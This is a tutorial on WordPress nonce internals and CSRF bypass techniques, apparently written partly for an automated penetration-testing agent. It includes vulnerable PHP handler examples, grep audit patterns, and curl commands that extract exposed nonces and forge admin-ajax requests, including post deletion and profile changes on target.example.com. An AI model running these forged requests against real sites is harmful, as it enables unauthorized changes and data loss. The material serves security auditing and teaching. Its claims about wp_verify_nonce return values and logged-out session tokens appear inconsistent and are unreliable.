WordPress Internals

WordPress Nonces and Bypass Techniques

How WordPress nonces work internally, their 24-hour lifespan, how plugins expose them, and common bypass patterns

WordPress Nonces and Bypass Techniques

WordPress nonces are frequently misunderstood. They are not cryptographic nonces (number used once) - they are time-limited CSRF tokens that can be reused within their validity window. Understanding their internals is essential for identifying bypass vulnerabilities.

What WordPress Nonces Actually Are

The WordPress documentation calls them "nonces" but they function as CSRF tokens with a 12-24 hour validity window. Key properties:

  • Reusable: The same nonce is valid for up to 24 hours and can be used multiple times
  • Time-based: Generated from the current time tick (12-hour windows)
  • User-bound: Tied to the current user ID (or 0 for unauthenticated)
  • Action-bound: Tied to a specific action string
  • Not truly random: Deterministic given the inputs

A WordPress nonce is NOT:

  • A one-time token (it can be used repeatedly)
  • A cryptographic secret (it is derived from predictable inputs)
  • Protection against replay attacks within its validity window

Internal Implementation

The nonce generation function in wp-includes/functions.php:

function wp_create_nonce( $action = -1 ) {
    $user = wp_get_current_user();
    $uid  = (int) $user->ID;
    if ( ! $uid ) {
        $uid = apply_filters( 'nonce_user_logged_out', $uid, $action );
    }

    $token = wp_get_session_token();
    $i     = wp_nonce_tick( $action );

    return substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
}

The nonce is the last 10 characters of an HMAC-SHA256 hash (truncated). The inputs are:

  • $i: The current tick number (changes every 12 hours)
  • $action: The action string
  • $uid: The current user's ID
  • $token: The user's session token (from wp_usermeta table, session_tokens key)

The Two-Tick System

wp_nonce_tick() determines the current time bucket:

function wp_nonce_tick( $action = -1 ) {
    $nonce_life = apply_filters( 'nonce_life', DAY_IN_SECONDS, $action );
    return ceil( time() / ( $nonce_life / 2 ) );
}

With default nonce_life of 86400 seconds (24 hours):

  • Each tick is 43200 seconds (12 hours)
  • At any point, two ticks are valid: the current tick and the previous tick
  • This means a nonce can be valid for up to 24 hours after creation

During verification, WordPress checks both the current tick and the previous tick:

function wp_verify_nonce( $nonce, $action = -1 ) {
    // ...
    $i = wp_nonce_tick( $action );

    // Check current tick
    $expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
    if ( hash_equals( $expected, $nonce ) ) {
        return 2; // Valid, created in second half of period
    }

    // Check previous tick
    $expected = substr( wp_hash( ( $i - 1 ) . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
    if ( hash_equals( $expected, $nonce ) ) {
        return 1; // Valid, created in first half of period
    }

    return false;
}

Return values:

  • 1: Nonce valid, generated in previous 12-hour window (older)
  • 2: Nonce valid, generated in current 12-hour window (fresher)
  • false: Invalid nonce

How Plugins Expose Nonces

Via wp_localize_script

The most common way to pass nonces to JavaScript:

wp_enqueue_script( 'my-plugin-script', plugin_dir_url(__FILE__) . 'js/script.js', ['jquery'] );
wp_localize_script( 'my-plugin-script', 'myPluginData', [
    'ajax_url' => admin_url( 'admin-ajax.php' ),
    'nonce'    => wp_create_nonce( 'my_plugin_nonce' ),
] );

This embeds the nonce in the page HTML as a JavaScript variable. Anyone who can load the page can extract the nonce.

# Extract nonces from page source
curl -s 'https://target.example.com/' | grep -oP '"nonce"\s*:\s*"\K[a-f0-9]{10}'
curl -s 'https://target.example.com/' | grep -oP 'nonce["\s:]+\K[a-f0-9]{10}'

# Look for wp_localize_script output patterns
curl -s 'https://target.example.com/some-page/' | \
  grep -oP 'var\s+\w+\s*=\s*\{[^}]*nonce[^}]*\}' | head -5

Via wp_nonce_field

Embeds a hidden input field in forms:

// In a form template
<form method="post">
    <?php wp_nonce_field( 'my_action', 'my_nonce_field' ); ?>
    <!-- Renders as: -->
    <!-- <input type="hidden" id="my_nonce_field" name="my_nonce_field" value="NONCE_VALUE"> -->
</form>
# Extract nonce from form field
curl -s 'https://target.example.com/page-with-form/' | \
  grep -oP 'name="my_nonce_field" value="\K[a-f0-9]{10}'

# General form nonce extraction
curl -s 'https://target.example.com/page-with-form/' | \
  grep -oP 'type="hidden"[^>]*value="\K[a-f0-9]{10}'

Via REST API Nonce in HTML Headers

// Some plugins pass nonces in HTTP headers
add_action( 'send_headers', function() {
    header( 'X-WP-Nonce: ' . wp_create_nonce( 'wp_rest' ) );
});

Via wp_head / Inline Scripts

add_action( 'wp_head', function() {
    ?>
    <script>
    var ajaxNonce = "<?php echo wp_create_nonce('my_action'); ?>";
    </script>
    <?php
});
# Find inline nonces in wp_head output
curl -s 'https://target.example.com/' | grep -A2 -B2 'Nonce\|nonce' | head -30

Common Nonce Bypass Patterns

Bypass 1: Wrong Action String

If the action string used during verification does not match the one used during creation, the nonce will still validate if another handler accepts it with the wrong action. This happens when developers reuse a generic nonce:

// Plugin creates nonce for general use
wp_create_nonce( 'my_plugin_general' );

// Handler A verifies with correct action
function handler_a() {
    wp_verify_nonce( $_POST['nonce'], 'my_plugin_general' ); // Works
}

// Handler B (the bug): uses a different action string to verify
// but was supposed to be more restrictive
function handler_b() {
    // Developer intended 'my_plugin_delete' but used generic nonce
    wp_verify_nonce( $_POST['nonce'], 'my_plugin_general' ); // Still works!
    // Now performs privileged operation thinking it's properly scoped
    delete_all_data();
}

More commonly: plugin verifies -1 (the default action), which matches any nonce created with -1:

// VULNERABLE: Using default action -1
function vulnerable_handler() {
    if ( ! wp_verify_nonce( $_POST['nonce'], -1 ) ) {
        wp_die( 'Invalid nonce' );
    }
    // ...
}

// Attacker can get a nonce for action -1 from any page using wp_create_nonce()
// or from another handler that exposes a nonce with action -1

Bypass 2: Nonce Available to Unauthenticated Users

A handler requires a nonce but exposes that nonce on a public page:

// Nonce exposed on public-facing page to everyone
add_action( 'wp_head', function() {
    echo '<script>var deleteNonce = "' . wp_create_nonce('delete_post') . '";</script>';
});

// Handler requires nonce but should also require authentication
add_action( 'wp_ajax_nopriv_delete_post', 'delete_post_handler' );
function delete_post_handler() {
    wp_verify_nonce( $_POST['nonce'], 'delete_post' ); // nonce check present
    // But anyone can get this nonce from the homepage!
    wp_delete_post( intval($_POST['post_id']), true );
    wp_die();
}

Testing:

# Step 1: Get nonce from public page (no authentication needed)
NONCE=$(curl -s 'https://target.example.com/' | grep -oP 'deleteNonce\s*=\s*"\K[a-f0-9]{10}')

# Step 2: Use nonce in privileged operation
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
  -d "action=delete_post&nonce=$NONCE&post_id=1"

Bypass 3: Conditional Nonce Check

// VULNERABLE: Nonce only checked in one branch
add_action( 'wp_ajax_update_profile', 'update_profile_handler' );
function update_profile_handler() {
    if ( isset( $_POST['nonce'] ) ) {
        wp_verify_nonce( $_POST['nonce'], 'update_profile' );
    }
    // Proceeds without nonce if $_POST['nonce'] is not set!
    update_user_meta( get_current_user_id(), 'phone', sanitize_text_field($_POST['phone']) );
    wp_die();
}

Testing - simply omit the nonce parameter:

curl -s -b /tmp/wp_cookies.txt -X POST \
  'https://target.example.com/wp-admin/admin-ajax.php' \
  -d 'action=update_profile&phone=attacker_value'
# Nonce field omitted entirely - check is bypassed

Bypass 4: Nonce Verification Result Not Checked

// VULNERABLE: Return value of wp_verify_nonce not checked
function insecure_handler() {
    wp_verify_nonce( $_POST['nonce'], 'my_action' ); // Called but result ignored!
    perform_privileged_operation();
    wp_die();
}
# Works with any nonce value or no nonce at all
curl -s -b /tmp/wp_cookies.txt -X POST \
  'https://target.example.com/wp-admin/admin-ajax.php' \
  -d 'action=insecure_action&nonce=invalid_nonce'

Bypass 5: check_ajax_referer with die=false

// VULNERABLE: die parameter set to false, result not checked
function insecure_ajax_handler() {
    check_ajax_referer( 'my_action', 'nonce', false ); // Won't die on failure
    // Should check the return value!
    perform_privileged_operation(); // Executes regardless
    wp_die();
}

The correct pattern:

function secure_ajax_handler() {
    $result = check_ajax_referer( 'my_action', 'nonce', false );
    if ( false === $result ) {
        wp_send_json_error( 'Invalid nonce', 403 );
    }
    // ...
}

Bypass 6: Nonce Leakage via Error Messages

function handler_with_debug() {
    if ( WP_DEBUG ) {
        // Logs include nonce values
        error_log( 'Processing request with nonce: ' . $_POST['nonce'] );
    }
    // If debug log is accessible, nonces can be extracted
}
# Check if debug log is accessible
curl -s 'https://target.example.com/wp-content/debug.log' | grep -oP '[a-f0-9]{10}'

Unauthenticated Users and Nonces

A common misunderstanding: unauthenticated users CAN get nonces. WordPress generates nonces for unauthenticated users using uid=0 and a session identifier stored in a cookie.

// For logged-out users, wp_create_nonce uses uid=0
// The session token comes from the 'wp-settings-time-0' cookie or similar

// This means a nonce generated for an anonymous user on one page
// is valid for ALL anonymous users within the tick window
// because uid=0 is the same for everyone and no session token is used

This has a significant implication: if a wp_ajax_nopriv_ handler requires a nonce but that nonce is exposed on a public page, the nonce is effectively worthless as CSRF protection because:

  1. Attacker visits public page, gets nonce
  2. Nonce is valid for up to 24 hours
  3. Attacker can forge requests with this nonce
# Demonstrate: get nonce as anonymous user, use it immediately
NONCE=$(curl -s 'https://target.example.com/' | grep -oP '"nonce":"?\K[a-f0-9]{10}')
echo "Got nonce: $NONCE"

# Use nonce in same session (simulating CSRF)
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
  -d "action=nopriv_action&nonce=$NONCE&malicious_param=value"

Grep Patterns for Nonce Audit

PLUGIN_PATH="/var/www/html/wp-content/plugins/my-plugin"

# Find all nonce verifications
grep -rn "wp_verify_nonce\|check_ajax_referer\|check_admin_referer" \
  "$PLUGIN_PATH" --include="*.php"

# Find handlers that DON'T verify nonces (requires manual review)
# Step 1: Get all AJAX handler function names
grep -rP "add_action\s*\(\s*['\"]wp_ajax_[^'\"]+['\"],\s*['\"]?\K[^'\")\s]+" \
  "$PLUGIN_PATH" --include="*.php" -oh > /tmp/handlers.txt

# Step 2: For each handler, check if it contains nonce verification
while read handler; do
    FILE=$(grep -rln "function $handler" "$PLUGIN_PATH" --include="*.php" | head -1)
    if [ -n "$FILE" ]; then
        # Extract function body (rough approximation)
        HAS_NONCE=$(grep -A 20 "function $handler" "$FILE" | \
          grep -c "wp_verify_nonce\|check_ajax_referer")
        echo "$handler: nonce_checks=$HAS_NONCE (file: $FILE)"
    fi
done < /tmp/handlers.txt

# Find nonces created with action -1 (default, less specific)
grep -rn "wp_create_nonce\s*(\s*)" "$PLUGIN_PATH" --include="*.php"
grep -rn "wp_create_nonce\s*(\s*-1\s*)" "$PLUGIN_PATH" --include="*.php"

# Find check_ajax_referer calls with die=false
grep -rn "check_ajax_referer.*false" "$PLUGIN_PATH" --include="*.php"

# Find wp_verify_nonce where return is not checked
grep -rn "wp_verify_nonce" "$PLUGIN_PATH" --include="*.php" -B2 -A2 | \
  grep -v "if\s*(\|!\s*\|=\s*wp_verify"

# Find nonces exposed to all users (in public hooks)
grep -rn "wp_create_nonce" "$PLUGIN_PATH" --include="*.php" | \
  grep -v "admin_\|is_admin\|current_user_can"

The nonce_life Filter

Plugins can shorten or extend nonce validity:

// Shorten to 1 hour
add_filter( 'nonce_life', function() { return HOUR_IN_SECONDS; } );

// Extend to 7 days (dangerous)
add_filter( 'nonce_life', function() { return WEEK_IN_SECONDS; } );

// Action-specific lifetime
add_filter( 'nonce_life', function( $life, $action ) {
    if ( 'dangerous_action' === $action ) {
        return 300; // 5 minutes
    }
    return $life;
}, 10, 2 );
# Find nonce_life filter modifications
grep -rn "nonce_life" /var/www/html/wp-content/ --include="*.php"

Nonce vs. Capability Check Order

A subtle vulnerability pattern: checking nonce before capability allows an attacker to learn whether their nonce is valid (useful in nonce oracle attacks):

// Order matters: check capability first in sensitive operations
function secure_handler() {
    // Capability first: fails fast for unprivileged users
    if ( ! current_user_can( 'manage_options' ) ) {
        wp_die( 'Unauthorized', 403 );
    }
    // Nonce second
    check_ajax_referer( 'admin_action', 'nonce' );
    // Then logic
}

Summary: Nonce Bypass Checklist

BypassGrep PatternImpact
Result not checkedwp_verify_nonce[^;]*; without ifFull CSRF
die=false, result ignoredcheck_ajax_referer.*falseFull CSRF
Wrong action stringCompare create vs verify action stringsCSRF on specific action
Public nonce exposurewp_create_nonce in non-admin hooksCSRF for anon users
Missing check entirelyAJAX handlers without any nonce callFull CSRF
Nonce in URLwp_create_nonce in href/redirectNonce leakage via Referer

Critical: Obtaining Nonces for Unauthenticated Exploitation

One of the most common obstacles in exploiting wp_ajax_nopriv handlers is obtaining a valid nonce. This section covers the practical techniques.

Why WP-CLI Nonces Don't Work for HTTP Requests

A nonce generated via WP-CLI (wp eval "echo wp_create_nonce('action');") will NOT work when sent in an HTTP request to admin-ajax.php. This is because WordPress nonces are salted with the user's session token from their cookie. WP-CLI runs in a separate PHP process with no browser cookies, so the nonce it generates uses a different salt than what admin-ajax.php expects.

WP-CLI session:  nonce = hash(action + user_id=0 + session_token_A)
HTTP request:    verify = hash(action + user_id=0 + session_token_B)  // Different!

Even with wp_set_current_user(0), the session tokens differ because WP-CLI has no cookie context.

Technique 1: Extract Nonce from Page Source

Many plugins expose nonces via wp_localize_script(). The nonce appears in the HTML as a JavaScript variable:

<script>
var userspn_ajax = {"ajax_url":"http:\/\/example.com\/wp-admin\/admin-ajax.php","userspn_ajax_nonce":"a1b2c3d4e5"};
</script>

To extract it, make an HTTP GET request and parse the response:

# Using the http_request tool (Playwright), then parse the response
# Look for the nonce in the JSON-encoded localized script data

Problem: The scripts (and therefore the nonce) only load on pages where the plugin's functionality is active. On a vanilla homepage without the plugin's shortcode or widget, the scripts may not be enqueued.

Technique 2: Create a Page with the Plugin's Shortcode

If the plugin's scripts only load on pages with a specific shortcode, create one:

# Create a page with the plugin's shortcode
wp post create --post_type=page --post_title="Test" --post_status=publish --post_content='[plugin_shortcode]'

# Then fetch that page via HTTP to get the nonce
# Use http_request tool (NOT curl inside the container)

Common shortcodes to look for:

grep -rn "add_shortcode" /var/www/html/wp-content/plugins/PLUGIN_NAME/ | head -20

Technique 3: Use the WordPress REST API Nonce Endpoint

WordPress exposes a nonce endpoint for the REST API:

GET /wp-admin/admin-ajax.php?action=rest-nonce

This returns a nonce for the wp_rest action. While this specific nonce is for REST API authentication, it demonstrates that nonces can be obtained via unauthenticated HTTP requests.

Technique 4: Check if the Nonce Action Matches

A common vulnerability: the plugin creates a nonce with one action string but verifies with a different one (or doesn't verify at all). Compare:

# What action is used to CREATE the nonce?
grep -n "wp_create_nonce" /var/www/html/wp-content/plugins/PLUGIN_NAME/ -r

# What action is used to VERIFY the nonce?
grep -n "wp_verify_nonce\|check_ajax_referer" /var/www/html/wp-content/plugins/PLUGIN_NAME/ -r

If the actions don't match, or if check_ajax_referer is called with die=false and the result isn't checked, the nonce is effectively bypassed.

Technique 5: Nonce for Logged-Out Users

For wp_ajax_nopriv handlers, the nonce is generated for user ID 0 (not logged in). The nonce value depends on:

  1. The action string
  2. User ID (0 for logged out)
  3. Session token (empty string for logged out users, BUT the cookie wordpress_test_cookie may affect this)
  4. The nonce tick (changes every 12 hours)

To get a valid nonce for an unauthenticated request:

  1. Visit the site in a fresh browser session (no cookies)
  2. Find a page where the plugin enqueues its scripts
  3. Extract the nonce from the page source
  4. Use that nonce immediately (within 12-24 hours)

Common Mistake in Testing

Never use curl inside a Docker container to fetch pages from the same WordPress instance. The container's localhost:8080 port mapping is on the Docker host, not inside the container. Use the http_request tool (which goes through Playwright on the host) or browser_navigate instead.